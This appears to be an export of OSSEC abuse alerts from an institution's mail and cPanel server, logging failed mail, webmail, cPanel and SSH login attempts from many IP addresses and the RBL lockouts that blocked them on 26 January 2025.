plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.149.142.21
description:
2025-01-26 20:09:20 dovecot_plain authenticator failed for ([93.125.83.110]) [91.149.142.21]:55114: 535 Incorrect authentication data (set_id=mumuni@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.110.70.2
description:
Jan 26 20:08:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.110.70.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.110.70.2
description:
2025-01-26 20:08:57 dovecot_plain authenticator failed for static-98-110-70-2.cmdnnj.fios.verizon.net [98.110.70.2]:46422: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.114
description:
2025-01-26 20:09:05 dovecot_plain authenticator failed for ([58.18.90.114]) [58.18.90.114]:33645: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
description:
Jan 26 20:09:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.240
description:
Jan 26 20:09:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.59.251.95
description:
Jan 26 20:09:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.59.251.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.59.251.95
description:
2025-01-26 20:09:24 dovecot_plain authenticator failed for ([191.59.251.95]) [191.59.251.95]:56068: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.15.84.229
description:
2025-01-26 20:09:08 dovecot_login authenticator failed for ([112.15.84.229]) [112.15.84.229]:44752: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 26 20:09:11 ait sshd[2428981]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.240
description:
2025-01-26 20:09:24 dovecot_login authenticator failed for (m121-202-155-240.smartone.com) [121.202.155.240]:52356: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.65.238.250
description:
2025-01-26 20:10:18 dovecot_plain authenticator failed for (unestsm) [185.65.238.250]:33274: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 20:09:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.65.238.250
description:
Jan 26 20:10:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.65.238.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.198.147
description:
2025-01-26 20:11:29 dovecot_login authenticator failed for (m121-202-198-147.smartone.com) [121.202.198.147]:64459: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.71.121.54
description:
Jan 26 20:11:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.71.121.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.112.71.128
description:
2025-01-26 20:11:51 dovecot_login authenticator failed for syn-070-112-071-128.res.spectrum.com [70.112.71.128]:52147: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.30.20.98
description:
Jan 26 20:11:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.30.20.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.242.61.74
description:
2025-01-26 20:11:18 dovecot_plain authenticator failed for ([178.242.61.74]) [178.242.61.74]:24842: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.48.192
description:
[2025-01-26 20:11:25 +0100] info [whostmgrd] 104.207.48.192 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.175.8.140
description:
Jan 26 20:11:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.175.8.140 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.35.108
description:
[2025-01-26 20:11:25 +0100] info [whostmgrd] 104.207.35.108 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.222.190.70
description:
2025-01-26 20:11:39 dovecot_plain authenticator failed for (client.fttb.2day.kz) [176.222.190.70]:51416: 535 Incorrect authentication data (set_id=klah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.32.83
description:
[2025-01-26 20:11:19 +0100] info [cpaneld] 104.207.32.83 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ADS20B00297Y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.86.36
description:
[2025-01-26 20:11:20 +0100] info [cpaneld] 156.228.86.36 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.154.222
description:
Jan 26 20:11:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.154.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.71.121.54
description:
2025-01-26 20:11:41 dovecot_login authenticator failed for ([184.71.121.54]) [184.71.121.54]:56920: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.198.147
description:
Jan 26 20:11:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.198.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.222.190.70
description:
Jan 26 20:11:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.222.190.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.56.124
description:
2025-01-26 20:11:47 dovecot_plain authenticator failed for ([160.154.56.124]) [160.154.56.124]:63264: 535 Incorrect authentication data (set_id=klah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.34.112
description:
[2025-01-26 20:11:26 +0100] info [whostmgrd] 104.207.34.112 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.214.1.246
description:
[2025-01-26 20:11:29 +0100] info [whostmgrd] 154.214.1.246 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.104.124
description:
[2025-01-26 20:11:23 +0100] info [cpaneld] 156.228.104.124 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.100.152.27
description:
Jan 26 20:11:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.100.152.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.83.59
description:
[2025-01-26 20:11:25 +0100] info [whostmgrd] 156.228.83.59 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.175.8.140
description:
2025-01-26 20:11:28 dovecot_login authenticator failed for ([121.175.8.140]) [121.175.8.140]:45980: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.154.222
description:
2025-01-26 20:11:39 dovecot_login authenticator failed for ([39.165.154.222]) [39.165.154.222]:52146: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.100.152.27
description:
2025-01-26 20:11:43 dovecot_login authenticator failed for (152-100-131-27.bcnet.com.br) [131.100.152.27]:40878: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.154.56.124
description:
Jan 26 20:11:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.154.56.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
description:
2025-01-26 20:11:03 dovecot_plain authenticator failed for ([1.30.20.98]) [1.30.20.98]:47584: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.99.10
description:
[2025-01-26 20:11:24 +0100] info [cpaneld] 156.228.99.10 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ADS20B00297Y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.28.76.38
description:
[2025-01-26 20:11:22 +0100] info [webmaild] 176.28.76.38 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.112.193
description:
[2025-01-26 20:11:23 +0100] info [cpaneld] 156.228.112.193 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ADS20B00297Y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.59.110
description:
[2025-01-26 20:11:26 +0100] info [whostmgrd] 104.207.59.110 - ADS20B00297Y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.112.71.128
description:
Jan 26 20:11:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.112.71.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.242.61.74
description:
Jan 26 20:11:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.242.61.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.179.80.12
description:
2025-01-26 20:12:05 dovecot_plain authenticator failed for ([186.179.80.12]) [186.179.80.12]:34704: 535 Incorrect authentication data (set_id=ads21b00153y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.237.210
description:
2025-01-26 20:12:29 dovecot_login authenticator failed for ([104.241.237.210]) [104.241.237.210]:36389: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 20:12:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.237.210
description:
Jan 26 20:12:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.237.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.124.218
description:
Jan 26 20:12:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.124.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
description:
2025-01-26 20:12:54 dovecot_plain authenticator failed for ([196.189.124.218]) [196.189.124.218]:42522: 535 Incorrect authentication data (set_id=eng20a00047y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.179.80.12
description:
Jan 26 20:12:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.179.80.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.149
description:
Jan 26 20:12:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.149
description:
2025-01-26 20:12:09 dovecot_login authenticator failed for (m121-202-155-149.smartone.com) [121.202.155.149]:53638: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.248.31.142
description:
Jan 26 20:12:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.248.31.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.248.31.142
description:
2025-01-26 20:12:16 dovecot_plain authenticator failed for ([211.248.31.142]) [211.248.31.142]:34592: 535 Incorrect authentication data (set_id=ads21b00153y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.62
description:
2025-01-26 20:13:21 dovecot_login authenticator failed for ([111.61.176.62]) [111.61.176.62]:53764: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.12.89.234
description:
2025-01-26 20:13:33 dovecot_plain authenticator failed for ([187.12.89.234]) [187.12.89.234]:54741: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.113.51.55
description:
2025-01-26 20:13:31 dovecot_login authenticator failed for ([185.113.51.55]) [185.113.51.55]:44788: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.62
description:
Jan 26 20:13:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.190
description:
Jan 26 20:13:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
description:
2025-01-26 20:13:40 dovecot_login authenticator failed for ([111.61.97.108]) [111.61.97.108]:19062: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.112.80.222
description:
Jan 26 20:13:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.112.80.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.154.156
description:
2025-01-26 20:13:14 dovecot_plain authenticator failed for ([103.219.154.156]) [103.219.154.156]:47242: 535 Incorrect authentication data (set_id=ofei)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.79.192.138
description:
[2025-01-26 20:13:26 +0100] info [webmaild] 170.79.192.138 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.97.108
description:
Jan 26 20:13:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.97.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.77.137.236
description:
2025-01-26 20:13:05 dovecot_plain authenticator failed for ([110.77.137.236]) [110.77.137.236]:59274: 535 Incorrect authentication data (set_id=eng20a00047y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.134.10.18
description:
Jan 26 20:13:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.134.10.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.175.194.139
description:
Jan 26 20:13:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.175.194.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.112.80.222
description:
2025-01-26 20:13:11 dovecot_login authenticator failed for ([36.112.80.222]) [36.112.80.222]:35480: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.105.223.49
description:
Jan 26 20:13:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.105.223.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.223.49
description:
2025-01-26 20:13:22 dovecot_plain authenticator failed for ([211.105.223.49]) [211.105.223.49]:48924: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
description:
2025-01-26 20:13:23 dovecot_login authenticator failed for ([111.61.177.190]) [111.61.177.190]:46358: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.12.89.234
description:
Jan 26 20:13:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.12.89.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.77.137.236
description:
Jan 26 20:13:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.77.137.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.175.194.139
description:
2025-01-26 20:13:06 dovecot_plain authenticator failed for syn-072-175-194-139.res.spectrum.com [72.175.194.139]:22666: 535 Incorrect authentication data (set_id=ofei@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.134.10.18
description:
2025-01-26 20:13:10 dovecot_login authenticator failed for (188x134x10x18.static-business.spb.ertelecom.ru) [188.134.10.18]:59520: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.54
description:
Jan 26 20:13:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.113.51.55
description:
Jan 26 20:13:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.113.51.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.9.55
description:
Jan 26 20:13:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.9.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.253.90.113
description:
Jan 26 20:13:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.253.90.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.154.156
description:
Jan 26 20:13:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.154.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.39.63.46
description:
2025-01-26 20:14:52 dovecot_plain authenticator failed for ([117.39.63.46]) [117.39.63.46]:37666: 535 Incorrect authentication data (set_id=rnunator@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.9.55
description:
Jan 26 20:14:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.9.55 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.206.139.50
description:
2025-01-26 20:14:13 dovecot_plain authenticator failed for ([218.206.139.50]) [218.206.139.50]:40740: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.22.247.178
description:
Jan 26 20:14:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.22.247.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.184
description:
Jan 26 20:14:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.202.82.16
description:
Jan 26 20:14:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.202.82.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.82.16
description:
2025-01-26 20:14:47 dovecot_plain authenticator failed for ([175.202.82.16]) [175.202.82.16]:38612: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
description:
2025-01-26 20:13:55 dovecot_login authenticator failed for 89-253-90-113.customers.ownit.se [89.253.90.113]:55666: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.232.193.44
description:
Jan 26 20:13:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.232.193.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.232.193.44
description:
2025-01-26 20:13:59 dovecot_login authenticator failed for (186-232-193-44.PROXXIMA.NET) [186.232.193.44]:36614: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.105.212.210
description:
Jan 26 20:14:24 ait sshd[2431028]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.105.212.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.184
description:
2025-01-26 20:14:30 dovecot_plain authenticator failed for 111-70-49-184.emome-ip.hinet.net [111.70.49.184]:46905: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.39.63.46
description:
Jan 26 20:14:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.39.63.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.146.233.52
description:
Jan 26 20:14:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.146.233.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.52
description:
2025-01-26 20:14:07 dovecot_login authenticator failed for ([103.146.233.52]) [103.146.233.52]:55872: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.37.79.247
description:
Jan 26 20:14:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.37.79.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.22.247.178
description:
2025-01-26 20:14:20 dovecot_login authenticator failed for ([115.22.247.178]) [115.22.247.178]:55941: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.105.212.210
description:
Jan 26 20:14:24 ait sshd[2431028]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.105.212.210


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.206.139.50
description:
Jan 26 20:14:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.206.139.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 20:14:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.107.179
description:
Jan 26 20:15:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.107.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.179
description:
2025-01-26 20:15:54 dovecot_plain authenticator failed for (static.ill.117.250.107.179.bsnl.co.in) [117.250.107.179]:52543: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.169.54.150
description:
Jan 26 20:15:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.169.54.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 26 20:15:08 ait sshd[2431585]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.54.150
description:
2025-01-26 20:15:07 dovecot_plain authenticator failed for ([61.169.54.150]) [61.169.54.150]:36463: 535 Incorrect authentication data (set_id=rnunator)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.27.81
description:
2025-01-26 20:15:25 dovecot_plain authenticator failed for ([27.71.27.81]) [27.71.27.81]:62789: 535 Incorrect authentication data (set_id=mssept2014@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.85.52.109
description:
Jan 26 20:15:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.85.52.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.110.226.214
description:
2025-01-26 20:14:57 dovecot_plain authenticator failed for ([75.110.226.214]) [75.110.226.214]:44774: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.27.81
description:
Jan 26 20:15:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.27.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 20:15:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.178.185.141
description:
Jan 26 20:15:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.178.185.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.85.52.109
description:
2025-01-26 20:15:48 dovecot_plain authenticator failed for 77-85-52-109.ip.btc-net.bg [77.85.52.109]:52734: 535 Incorrect authentication data (set_id=ug21m1150009@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.5.87.59
description:
[2025-01-26 20:15:51 +0100] info [webmaild] 191.5.87.59 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.110.226.214
description:
Jan 26 20:14:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.110.226.214 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
